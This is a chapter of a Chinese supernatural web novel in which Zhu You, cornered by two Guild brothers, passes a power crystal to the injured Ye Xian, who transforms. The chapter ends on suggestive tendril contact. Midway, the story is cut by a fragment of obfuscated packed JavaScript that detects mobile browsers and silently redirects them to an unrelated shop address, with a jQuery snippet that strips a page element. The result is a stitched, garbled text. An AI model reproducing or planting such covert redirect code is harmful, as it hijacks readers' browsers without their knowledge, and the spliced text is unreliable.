公冶怜的脑袋瞬间炸出血花,又在下一秒愈合上。 他看着竹幽,对他鼓了鼓掌:“很好,出手比我当年快,但,没有现在快——” 说完,眨眼的时间内,公冶怜的皮肤笼罩上一层奇异的金属质感,他缓步走到竹幽面前,打了个响指。 紧接着,金属枪支瞬间消融解体。 像冰激凌一样化掉在地上。 刚想后撤,但公冶怜的速度更快,他按住竹幽的身体,狠狠将其踹倒在地。 膝盖磕在地上,发出清脆的响声。 竹幽闭了闭眼,将声音压在喉咙里。 “伟大的爱情。” 公冶怜干脆扭转他的脖子,打了个响指,叶弦和公冶原缠斗的场面出现在眼前。 刚才的骨骼断裂声不是错觉,竹幽清楚地看到叶弦有一支胳膊明显错了位。 但他依旧用唯一好着的胳膊继续格斗。 公冶原则游刃有余地游走在叶弦的身边。 “看清楚了吗?” 公冶怜凑近竹幽的耳边:“没有吸收源质的你们只是废物,放弃与公会作对吧,你很年轻,他也很年轻,留在公会,加入污染者,你们会迎来伟大的进化——” 18. 暗流起 【018】 竹幽额角渗出几分冷汗:“休想。” 他直言道:“你有本事,就杀了我。” 公冶怜嘴角的笑意暂停了,他上下扫视竹幽,眼底流露出些许兴味:“说什么呢,你不是一直都知道,我杀不了你吗?” “不然,就凭借你当年背叛主人的行为,能够活到今天?” 正如他所说的,竹幽很特别。 带人来到公会的第一天,公冶怜就意识到了这个问题。 稚嫩的面孔总是引人关注,何况是像竹幽这样出色的外表。 就算竹幽跟在自己的身边,什么都不做,不说话,公冶怜就能得到赞赏,说他又得了一条好狗。 可实际上呢? 十五岁的竹幽进入公会后只干了一件事——找新主人,然后彻底甩掉公冶怜。 没有人知道竹幽是怎么联系上头上那位的。 等到公冶怜再次想起竹幽的时候,他在公会里已经有了正式的身份。 头顶的人放话,没有人敢不听。 竹幽甚至被那位亲切的称为“摇钱树”,这种近乎大胆的偏爱为他的成长争取到了足够的时间。 一直到竹幽成年之后离开。 - 公冶怜掐住竹幽的脖子,脸上的表情已经转变为愤怒:“你是公会的摇钱树,你有恃无恐,但这位叶队长呢?” “他只是个普通人吧,如果我让公冶原把他杀了,你会伤心吗?” 竹幽皱眉,伸出手,一根一根掰开对方的手指。 他力气大得不正常,咔嚓一声,公冶怜的指骨断裂开来。 “你没必要恨我。”竹幽从地上站起来,看向他,“也没必要故意激怒我。” 公冶怜看着自己断裂的手指,低低的笑了声,随即体内的源质很快帮他修复,手指瞬间恢复正常。 “D-009的能力,很好用,不是吗?” 他看着竹幽,转而换了种说法,“看得出来你很关心这位队长,竹幽,你违背了组织的约定。” “被上面知道,可是会死无全尸呢……” 竹幽看着他,等待公冶怜图穷匕见。 果不其然,对方下一秒就露出了真面目:“我可以答应你放过他,只要现在当场吸收这个……” 说着,他的手中出现一枚淡粉色的结晶。 里世界没有太阳,没有光源,源质却依旧散发着灿烂的光芒。 看起来十分吸引人。 竹幽想也不想:“可以。” “你先放开叶弦。” 说着,他指向不远处还在传来争斗声的地方。 公冶怜嘴角的笑意更深,似乎没有想到竹幽会答应得如此爽快。 他干脆利落的打了个响指,看着竹幽,有些抱歉的说:“好说好说,就是可惜你回答的晚了一点,他看起来伤得不轻呢……” 说着,叶弦和公冶原的身影逐渐显现。 经历污染的人血液会逐渐变成绿色,现在红色的血迹遍布地面,不用看也知道是谁的。 叶弦受了很重的伤。 有一条腿似乎被折断,整个人倒在地上失去了意识。 竹幽小心去探叶弦的鼻息。 很微弱,但还活着。 公冶怜轻轻啧了一声,看向弟弟的目光中略有不满:“下这么重的手干什么,万一不小心弄死,我要怎么看他亲眼见证小狗的进化呢?” 公冶原甩了甩手,轻嗤:“没死呢,给你留了一口气。” 小飞球蹲在他的肩膀上,附和主人一般,狠狠晃动了几下脑袋。 其实叶弦一开始动手的时候,公冶原是不放在心上的,只是他实在是没有想到,叶弦作为一个普通人,武力值能有这么高。 要不是凭借一些特别的手段,公冶原指不定真的会狠狠吃几个闷亏。 果然,普通人再怎么努力,还是一样的没用。 “人你见到了,怎么样,现在开始吧?” 公冶怜将手里的粉色源质抛给竹幽:“哦我知道了,你是在怀疑源质的等级和用处。” “编号D-014,前两天拥有它的人死了,我亲自从尸体中挖出来的。” “还没捂热,不过送给你的话,倒也不算浪费……就是没能让管理局的队长亲自见证这场面,有点可惜。” 说着,他又打了个响指:“听说吸收源质的时候,人会变得失控,怎么样,这种值得纪念的事情,需要我帮你录个视频吗?” 从说话开始,公冶怜的目光就一直没有从竹幽身上离开。 他有足够的底气,因为里世界是污染者公会的地盘,竹幽不可能独自一人带着重伤的叶弦走。 这也是公冶怜兄弟二人如此放肆的原因。 源质温度湿冷,液体状的流光在里面不停闪烁,捏在手心是冰凉的触感。 吸收它的方法很简单,直接咬开外壳,吞掉,然后,光荣进化—— 没有考虑太多时间,叶弦的情况不能再等下去,竹幽手下用力,源质的外壳发出窸窸窣窣的裂缝声—— 公冶原兄弟二人的目光一亮。 紧接着,衣角似乎被什么东西小心的拽了一下:竹幽有些意外的看向身边,发现不知何时,叶弦睁开了沾着血迹的眼睛。 他嘴巴一张一翕,艰难的吐出一句唇语。 竹幽的睫毛颤动两下,他看懂了。 叶弦说的是,给我。 - “学长学长,你知不知道,经历污染的人后面会怎么样?” 坐上队长的职位后,叶弦抽时间会去母校做演讲,传授大家对付污染物的方法。 经常有学弟学妹在提问环节问到这个问题。 经历污染的人会怎么样? 叶弦自己也不知道。 他见到的污染者不多,每个人都十分的狡猾。 于是经验丰富的年轻队长笑着说,他也不知道那些经历过污染的人最后都怎么样了,但大部分,都是活不了很长时间的。 绝大部分的污染者都死于非命。 既然吸收了高等级的源质,总要有命去用吧。 但高等污染物出现的时机不多,觊觎高等级源质的人却有很多。 污染者的源质是一种很奇特的东西,它能够循环使用。 想要一个人的能力很简单——杀了他,从对方的尸体里掏出来,就能自己用了。 很简单的游戏规则。 “听起来好危险。” “这样看来,污染者虽然比普通人多了某些能力,但遭受的生命威胁也是成倍增加的。” 叶弦颔首:“是的,所以你们就不要想着什么源质了,努力学习,将来加入管理局吧。” “知道了学长,我们会努力学习的!” 话筒顺利被递到另外一个人的手中。 这次询问叶弦的问题是,吸收源质有没有副作用。 “大家都对这种东西趋之若鹜,难道它就不会对人体健康带来负面影响吗?” 叶弦闻言先是无奈的笑了笑:“这里是管理局吧,怎么净问一些我不知道的问题?” 众人哄然大笑。 “同学们,这里是深渊管理局的讲座,不是污染者公会啊……”叶弦清了清嗓子,转而义正言辞道,“有关源质到底会不会对人体造成负担的研究,政府还在密切关注着,听说有自愿参加的志愿者主动参与研究,相信不久的将来,我们就会得知事实真相……” …… 演讲是多久之前的了? 叶弦也有些记不清。 但唯一能够肯定的是,当时的叶弦,完全没有想到,在不久之后的现在,自己会主动开口,从竹幽手里吸收那颗源质。 “你怎么能——” 公冶怜显然也看到了竹幽的动作,他几乎是瞬间上前阻止,可竹幽的动作实在是太快了。 几乎眨眼的时间里,竹幽彻底捏碎了那抹粉色。 液体在空气中划过,无声无息的落在叶弦的嘴里。 - 竹幽见过很多人吸收源质的场景。 这也是污染者公会中很常见的聚众活动。 在吸收高品质源质的时候,公会会召集大家一起见证。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305317|198700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那些人会被围在中间,在几十双眼睛的注视下,咬碎源质,众目睽睽之下赢来畸变——是的,畸变。 如果污染物有一双翅膀,吸收源质的人就会在这个过程中长出一对不属于人类的翅膀。 如果污染物有十对眼睛,吸收源质的人浑身上下就会长满眼睛。 有触手的会长出触手,有粘液的会浑身布满粘液…… 无一例外。 所有吸收源质的人,都少不了这个过程。 然后在吸收完毕之后重新恢复为原样,并产生某种特殊能力。 这些人还是原来的他们吗? 在畸变的过程中,他们是否已经不再是人类,而变成了污染物呢? 是人变成了污染物,还是污染物占据了人的身体。 没有谁能解答竹幽的问题。 那些人只是欢呼着,雀跃着,高兴公会里又出现了新战力。 竹幽反感这种“进化”,这也是他这么多年没有吸收源质的原因。 在叶弦说话的时候,竹幽的内心是拒绝的。 比起对方变成那种奇怪的样子,他宁愿自己一个人承受一切。 但他看到了叶弦平静的眼睛。 竹幽最后几乎控制不住自己移动了胳膊。 ……叶弦也会变成这样吗? 会失控变成污染物,然后再恢复吗? 种种疑问剖析在脑海中,公冶怜已经来到了面前,他气急败坏的看着竹幽,想也不想伸手就要对叶弦动手—— 显然是想要趁着对方吸收源质的过程中解决掉。 只可惜,还没碰到人,叶弦的身上忽然散发出刺眼的白光。 下一秒,两人一同消失不见。 公冶怜怔在原地,身后的弟弟走过来,眨眨眼又鼓鼓掌,说:“哇哦,精彩。” “现在人不见了,源质也丢了,”他阴阳怪气道,“好哥哥,我现在承认你是公会里最聪明的狗主人了。” 公冶怜:…… 男人愤愤转身,踹了身边的污染狗一脚:“他们离不开这里,去用你的狗鼻子给我找!” 狗子兴奋叫了两声,摇着尾巴离开了。 公冶原笑呵呵的摸了摸肩膀上的小球:“你也跟着去吧。” - 虚无的空间,虚无的时间。 叶弦觉得自己的身形在消散,视野在放大——这是一种很奇怪的感觉,没有准确的话语能够形容。 身为“人”的感觉消失了。 祂睁开眼睛,看到一双悲伤的漂亮眼睛。 一个人类。 很熟悉,但是又不是那么熟悉。 毕竟之前从来没有人类敢这样看着祂。 “你是谁?” 声音顺着脑海,准确的传入进了面前这个人的耳朵里。 漂亮的眼睛微微睁大,就算是这样,眼前的人依旧是十分好看的,他的声音听起来十分悲伤:“我是竹幽。” “你不记得我了吗?” 竹幽。 似乎是个很久远的名字。 久到他都有些记不清了。 祂没有再说话,感受到面前这人的身上有种熟悉的气息。 竹幽,你是谁? 为什么身上会有我的味道。 祂漫不经心的想着,然后控制着那些黑色的,拥有实体的影子爬满竹幽的全身。 哦,忘了说,这是祂现在的身体。 有点陌生,但更多的是轻车熟路。 影子不知道爬到了哪个地方,触碰到了什么部位,祂看到人类漂亮的脸蛋上忽然带上几分红晕,眼睛里也盛满了泪水。 真奇怪啊…… 人类就是这么的脆弱。 没有理会“竹幽”的控诉,祂继续恶劣的控制着影子,在竹幽身上寻找自己的东西。 到底在什么地方呢? 我是否见过你,我们是否相识? 影子不动声色的划过沟壑,然后更加深入…… “叶弦!”像是终于忍不住,被影子裹满全身的人类终于开口了,“呜,你拿出去……”